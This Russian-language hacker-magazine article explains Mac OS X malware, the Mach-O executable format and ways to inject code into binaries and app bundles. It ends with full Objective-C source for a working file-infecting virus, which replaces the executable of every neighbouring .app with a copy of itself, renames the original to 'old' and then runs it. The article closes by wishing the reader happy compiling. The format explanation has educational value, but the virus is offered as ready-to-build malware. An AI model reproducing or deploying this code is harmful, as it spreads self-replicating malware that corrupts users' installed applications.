Много ли ты слышал о вирусах в Mac OS X? А ведь они есть. Среди вирей, троянов и прочей нечисти, созданной для этой платформы, постоянно появляются новые экземпляры. Как они работают? Какие уязвимости системы используют? На эти вопросы мы и попытаемся ответить.

 

История вопроса

Операционная система Mac Classic (то есть, любая версия Mac OS до 10-й, Mac OS X) просуществовала довольно долго: от выпуска первой версии в 1984 до появления первой десктопной версии Mac OS X в марте 2001. За это время было создано немало вредоносного программного обеспечения, включая достаточно опасные вирусы, такие как, например, nVir, появившийся в 1987 году и создавший маководам немало проблем. Ситуация еще более усложнилась после публикации исходников этого виря, поскольку появилось множество его модификаций.

Все они поражали бинарные исполняемые файлы Mac OS, патча таблицу переходов жертвы.

Конечно, Apple не осталась в стороне, и в систему были внесены некоторые изменения, ограничивающие возможности распространения malware. Может быть, наиболее значимым был отказ от технологии автозапуска с CD. В настоящее время autorun’ы не поддерживаются в Mac OS X ни для съемных носителей, ни для компакт-дисков.

Стоит сказать, что Apple активно закрывает дыры в Mac OS X и сейчас. Совсем недавно вместе с очередным апдейтом системы были изменены права доступа к папке /Applications. До этого файлы в ней могли быть изменены любым юзером. Так что код вируса, исполняющийся от имени пользователя, мог свободно заражать приложения в этой папке. А в ней сидят такие часто используемые проги, как iTunes или iMail.

C ростом популярности продукции Apple растет и внимание зловредописателей к этой платформе. Ведь чем больше пользователей у системы, тем больше простор для их поделок. Во многом эта ситуация подогревается просто-таки фанатичным неверием большинства пользователей Mac OS X/iOS в уязвимость своей системы.

Так, например, какое-то время по интернету ходил jpg-файл c исполняемым файлом Mac OS X внутри. Finder Mac OS X не показывает расширения файлов. Поэтому счастливый пользователь кликал на картинку, запуская вредоносное приложение, а особо удачливые даже вводили админский пароль для повышения привилегий, когда некоторые модификации этого трояна его запрашивали. В общем, малварь на маках есть, и она активно размножается.

Чтобы понять, какие особенности системы эксплуатируются, рассмотрим в деталях, что же такое представляют из себя исполняемые файлы Maс OS X, и как зловредам удается их заражать, заставляя систему выполнять свой код.

 

Mach-O формат

Mach-О — это формат исполняемых, объектных файлов и динамических библиотек в Mac OS X. Возник он как замена устаревшему a.out. Изначально этот формат использовался в ядре Mach (было такое микроядро, вроде и сейчас энтузиасты четвертую версию допиливают). Позже он перекочевал в NeXTSTEP. Ну а Mac OS X,которая возникла как логическое продолжение развития системы NeXTSTEP, унаследовала этот формат от нее. Кстати, GNU/Hurd, которая также выросла из Mach, использует привычные линуксовские ELF’ы, а не Mach-Object’ы.

Mach-О файлы чем-то напоминают попсовые PE, но при этом они имеют множество оригинальных решений. Так, например, эти бинарники могут содержать код сразу для нескольких платформ. Скажем, для процессоров PowerPC и Intel.

ОС сама выберет машинный код, который следует исполнять. Хотя PowerPC-машины уже не так популярны, в компиляторах от Apple до сих пор есть опция, позволяющая генерить код под эту платформу. Мы здесь будем рассматривать только файлы для Intel’овских процессоров, так что если у тебя под рукой каким-то чудом оказался PowerBook, придется курить маны самостоятельно.

Формат Mach-O является открытым (в отличие, например, от того же PE, тщательно и тщетно оберегаемого Microsoft). Вся информация по этому формату может быть найдена на официальном сайте Apple. Более того, описания основных структур доступны в стандартных заголовках (например loader.h), что значительно экономит время при создании тулов, работающих с Mach-O. Итак, файлы этого формата содержат три основных раздела:

  • В самом начале располагается заголовок Mach-O файла, который содержит базовую информацию о нем.

Например, целевую аппаратную платформу. Сразу скажу, что числа в файле хранятся в формате целевой платформы. То есть, если это Intel — то uint32 так и лежит в Little Endian.

Структура заголовка Mach-O из loader.h

struct mach_header
{
uint32_t magic; // признак Mach-O
cpu_type_t cputype;
cpu_subtype_t cpusubtype;
uint32_t filetype;
uint32_t ncmds; // Число команд загрузки
uint32_t sizeofcmds; // и их размер
uint32_t flags;
};

  • За заголовком следуют команды загрузки. Число и размер их указаны в заголовке.

Команды эти бывают различных типов и выполняются загрузчиком при подготовке процесса к исполнению. Основные команды, о которых имеет смысл здесь говорить, это «LC_SEGMENT» и «LC_UNIXTHREAD». Первая предназначена для инициализации области виртуальной памяти и позволяет устанавливать атрибуты ее страниц, а также подгружать в них данные из файла. Каждый сегмент может состоять из нескольких секций, которым соответствуют непрерывные участки файла. А команда «LC_LINUXTHREAD» создает поток со стеком и инициализирует регистры процессора для него. В том числе инициализирует она и IP, задавая точку входа для этого потока. Кстати, насколько я знаю, IDA до сих пор не умеет определять реальную точку входа Mach-O, а просто принимает за нее первую команду в сегменте кода. Учитывая, что именно IDA используется вирусными аналитиками чаще всего, этот недостаток на руку вирусописателям.

Описание LC_SEGMENT из loader.h

struct segment_command
{
uint32_t cmd; // Id команды
uint32_t cmdsize; // И ее размер (вместе с Id)
char segname[16]; // Например «__TEXT»
uint32_t vmaddr; // Начало сегмента в VM
uint32_t vmsize;
uint32_t fileoff; // Смещение данных сегмента
uint32_t filesize;
vm_prot_t maxprot;
vm_prot_t initprot;
uint32_t nsects;
// Число секций в этом сегменте
uint32_t flags; // Атрибуты страниц памяти
};
struct section
{
char sectname[16]; // Тут все понятно
char segname[16];
uint32_t addr;
uint32_t size;
uint32_t offset; // Смещение секции в файле
uint32_t align;
uint32_t reloff;
uint32_t nreloc;
uint32_t flags;
uint32_t reserved1;
uint32_t reserved2;
};

  • За командами загрузки следует собственно тело модуля: код, данные, таблица переходов и так далее.

Получить подробную информацию о заголовках и командах загрузки для бинарника можно с помощью утилитки otool (очень полезная, на мой взгляд, штука — много чего умеет). Каждый Mach-O сегмент, как видно из описания структуры, имеет имя. Так код программы будет располагаться в сегменте «__TEXT», а данные — в сегменте с именем «__DATA».

 

Бинарный инжект

Зная, что собой представляет исполняемый файл Mac OS X, попробуем разобраться, как можно встроить свой код в собранный бинарник Mac OS X. Подкорректировав значение регистров в команде «LC_ LINUXTHREAD», можно изменить точку входа, если это будет нужно. Ну а как разместить сторонний код в Mach-O файле? Естественное желание — добавить еще одну секцию к сегменту «__TEXT», в конец файла дописать свой код и загрузить его в добавленной секции.

Меняем точку входа на начало нашей секции в виртуальной памяти и... кажется, тут есть одно «но». Придется парсить все команды загрузки и определять свободную область виртуалки, в которую мы можем загрузить свою секцию. Может получиться так, что свободного пространства будет еще и недостаточно, ведь сразу за сегментом кода, как правило, следуют данные, а перемещать сегменты — это уже задачка посложнее. В принципе, такой подход можно воплотить в жизнь, но это достаточно трудоемко.
Фактически нужно реализовывать в вире немалую часть работы загрузчика. Есть ли реальные вири, которые так поступают, я не знаю.

Кроме сегментов «__TEXT» и «__DATA» есть еще «__PAGEZERO», чтение и запись в который запрещены, и располагается он в виртуальной памяти процесса по нулевому адресу. Создается этот сегмент, состоящий всего из одной страницы, специально, чтобы разыменование нулевого указателя приводило к исключению. Вообще сегмент этот опционален, но реальный бинарник, в котором его бы не было, мне не попадался. Для сегмента «__PAGEZERO» fileoffset и filesize равны нулю. То есть, данными из файла он не инициализируется. Однако, если ты поменяешь эти значения, то, дописав в конец файла свой код, можешь подгрузить его в нулевую страницу виртуалки. Изменив атрибуты доступа к памяти сегмента «__PAGEZRERO» и пометив ее как исполняемую (подняв R- и X-биты), а также изменив «LC_LINUXTHREAD», можно заставить свой код исполняться при старте приложения. Так, видимо, и было еще пару лет назад.

Во всяком случае, в сети можно найти статьи с конференций BlackHat, описывающие эксплуатацию этой уязвимости. Но, когда я пытался проделать подобный трюк, как только я помечал память исполняемой, она вместо инициализации из файла заполнялась мусором.

В других случая код успешно загружался в нулевую страницу, но попытка его исполнить ни к чему хорошему не приводила. В общем, с наскока вписаться в произвольный Mach-O не так легко, как кажется.

Пожалуй, еще об одном способе я не сказал. Если есть достаточно большие пустоты в конце секций кода (из-за выравнивания на 4K для оптимизации маппинга в страницы памяти), то можно попытаться в них разместить свои фрагменты кода. Но гарантии, что у тебя в распоряжении будет достаточно неиспользуемого пространства, никто не даст. Можешь потренироваться с написанием компактного кода на досуге :), а мы рассмотрим более простые способы.

 

Бандлы Mac OS X

Если в виндах ресурсы лежат прямо в экзешнике, то в Mac OS X приложения организованы в так называемые бандлы (baundles). Бандл — это дерево каталогов с определенной структурой, в которых располагаются исполняемые файлы, метаданые приложения и его ресурсы. Для пользователя в Finder’е бандл выглядит единым элементом, кликнув по которому, юзер может запустить приложение. Можно видеть, что бандл — это каталог с расширением .app, в котором таится папка Contents. А в папке Frameworks, как нетрудно догадаться, лежат фреймворки, которые поставляются вместе с приложением. Кстати, фреймворки (аналоги dll’ек) тоже организованы в бандлы. В папке MacOS лежат бинарники уже знакомого тебе формата Mach-O, а в ресурсах (папка Resources) всякие иконки, звуки и так далее. В файле Info.plist находится описание приложения.

Вот его пример:

<?xml version=»1.0» encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDevelopmentRegion</key>
<string>English</string>
<key>CFBundleExecutable</key>
<string>Demo</string>
<key>CFBundleIconFile</key>
<string></string>
....
<key>NSMainNibFile</key>
<string>MainMenu</string>
<key>NSPrincipalClass</key>
<string>NSApplication</string>
</dict>
</plist>

Это — обычный xml-файл, читать и изменять его довольно легко. Однако в Mac OS X существуют специальные утилиты и библиотеки для работы с файлами этого формата. Нас здесь интересует поле CFBundleExecutable. Это — имя бинарника из папки MacOS. При запуске приложения именно ему будет передано управление. Так что, если кто-то захочет заразить бандл, то делается это достаточно просто. Нужно подменить файл, на который ссылается CFBundleExecutable, а старый переименовать, чтобы иметь возможность выполнить его, когда все твои дела будут закончены. В общем «просто праздник какой-то», и с сегментами возиться не нужно. А еще недавно, когда доступ к папке /Applications был открыт, код, исполняемый от имени непривилегированного пользователя, свободно мог таким нехитрым способом заражать большинство приложений Mac OS X!

Сейчас для этого нужно поднять привилегии с помощью, например, вызова AuthorizationCreate из Security-фреймворка. Но, как уже было сказано, пользователям Mac OS X вообще свойственна вера в совершенство продукции Apple и невозможность существования малвари под нее, поэтому не исключено, что юзер согласится и на админскую авторизацию.

 

Кодим бандл-вирь

Напишем для примера небольшой вирь, который демонстрирует возможность заражения бандла с подменой исполняемого при запуске файла.

Поступим следующим образом: просмотрим все приложения, что лежат в одной папке с нашим вирем, положим вместо оригинального исполняемого файла свой, а старый переименуем в «old», и, когда все будет закончено, передадим управление ему. Полный код примера ты сможешь увидеть на соответствующей врезке.

 

Outro

Мой вирь, как ты легко можешь убедиться, работает и заражает приложения, которые находятся с ним в одной папке. Открытая структура приложений в Mac OS X делает их уязвимыми, но, как и в любой *nix-системе, одним из главных орудий борьбы со зловредами в Mac OS X является правильное распределение прав в файловой системе. Удачного компилирования!

Код вируса, единственный смысл жизни которого — размножение 🙂

#import <Cocoa/Cocoa.h>
int main(int argc, char *argv[])
{
// Дадим о себе знать
NSLog(@"!!!!!!!!!!!!!!!!!!!!!");
NSLog(@"!!! I’m here !!!!");
NSLog(@"!!!!!!!!!!!!!!!!!!!!!");
NSFileManager * fm = [NSFileManager defaultManager];
// Папка нашего бандла
NSString * bundle_fldr = [[NSBundle mainBundle] bundlePath];
// Папка, в которой лежит наш app
NSString * our_fldr = [bundle_fldr stringByAppendingString: @"/.."];
// Имя текущего бинарника
NSString * current_executable = [[NSDictionary dictionaryWithContentsOfFile: [bundle_fldr stringByAppendingString: @"/Contents/Info.plist"]] objectForKey: @"CFBundleExecutable"];
// Список наших соседей :)
NSArray * apps = [[fm directoryContentsAtPath: our_fldr] filteredArrayUsingPredicate: [NSPredicate predicateWithFormat: @"self ENDSWITH '.app'"]];
for (NSString * app in apps){
if (
[fm fileExistsAtPath: [our_fldr stringByAppendingFormat:@"/%@/Contents/MacOS/old", app]]
)
continue; // Тут мы уже когда-то были
NSDictionary * plist_dict = [NSDictionary dictionaryWithContentsOfFile: [our_fldr stringByAppendingFormat: @"/%@/Contents/Info.plist", app]];
NSString * app_executable = [plist_dict objectForKey: @"CFBundleExecutable"];
// Переименуем бинарник приложения-жертвы
[fm moveItemAtPath: [our_fldr stringByAppendingFormat: @"/%@/Contents/MacOS/%@", app, app_executable] toPath:[our_fldr stringByAppendingFormat: @"/%@/Contents/MacOS/old"] error: nil];
// И записываем себя на его место
[fm copyItemAtPath: [bundle_fldr stringByAppendingFormat: @"/Contents/MacOS/%@", current_executable] toPath: [our_fldr
stringByAppendingFormat: @"/%@/Contents/MacOS/%@" , app, app_executable] error: nil];
}
// Передаем управление оригинальному файлу
system([[[[NSBundle mainBundle] bundlePath] stringByAppendingString: @"/Contents/MacOS/old &"] cString]);
}

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии